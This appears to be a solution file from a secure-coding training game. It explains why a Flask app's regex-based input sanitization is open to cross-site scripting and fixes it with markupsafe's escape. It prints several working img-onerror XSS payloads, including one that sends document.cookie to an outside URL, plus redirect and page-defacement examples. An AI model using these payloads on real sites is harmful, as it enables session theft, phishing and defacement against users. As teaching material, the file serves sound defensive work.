# Contribute new levels to the game in 3 simple steps!
# Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md

This code is vulnerable to Cross-Site Scripting (XSS).

Learn more about Cross-Site Scripting (XSS): https://portswigger.net/web-security/cross-site-scripting
Example from a security advisory: https://securitylab.github.com/advisories/GHSL-2023-084_Pay/ 

Why the application is vulnerable to XSS?
It seems that the user input is properly sanitized, as shown below:

planet = request.form.get('planet')
sanitized_planet = re.sub(r'[<>{}[\]]', '', planet if planet else '')

What if all HTML's start and end tags were pruned away, what could go wrong in that case?
Furthermore, an anti-XSS defense is implemented, preventing inputs with the 'script' tag.
However, other tags, such as the 'img' tag, can still be used to exploit a XSS bug as follows:

Exploit: 
&ltimg src="x" onerror="alert(1)"&gt
 
Explanation: 
With this payload, the XSS attack will execute successfully, since it will force the browser to open an
alert dialog box. There are several reasons why this is possible, as explained below:

1) The regular expression (RegEx) doesn't cover for the () characters and these are necessary for function
invocation in JavaScript.
2) The sanitization doesn't touch the &lt and &gt special entities.
3) The 'display.html' is showing the planet name with the 'safe' option. This is always a risky decision.
4) The 'display.html' is reusing an unprotected planet name and rendering it at another location as HTML.

How can we fix this?

1) Never reuse a content rendered in 'safe' regime as HTML. It's unescaped.
2) Don't reinvent the wheel by coming up with your own escaping facility.
You can use the function 'escape', which is a built-in function inside the markup module used by Flask. 
This function helps to escape special characters in the input, preventing them from being executed
as HTML or JavaScript.

Example: 
from markupsafe import escape

sanitized_planet = escape(planet)
 
What else can XSS do?
- Steal cookies and session information
- Redirect to malicious websites
- Modify website content
- Phishing
- Keylogging

How to prevent XSS?
- Sanitize user input properly
- Use Content Security Policy (CSP)
- Use HttpOnly Cookies
- Use X-XSS-Protection header

Here are some exploit examples:

- Redirect to phishing page using XSS:
&ltimg src="x" onerror="window.location.href = 'https://google.com';"&gt

- Get cookies:
&ltimg src="x" onerror="window.location.href = 'https://google.com/?cookie=' + document.cookie;"&gt

- Modify website content:
You can inject any phishing page, malicious page, or any other content to the website using XSS, by:
&ltimg src="x" onerror="document.body.innerHTML = 'Website is hacked';"&gt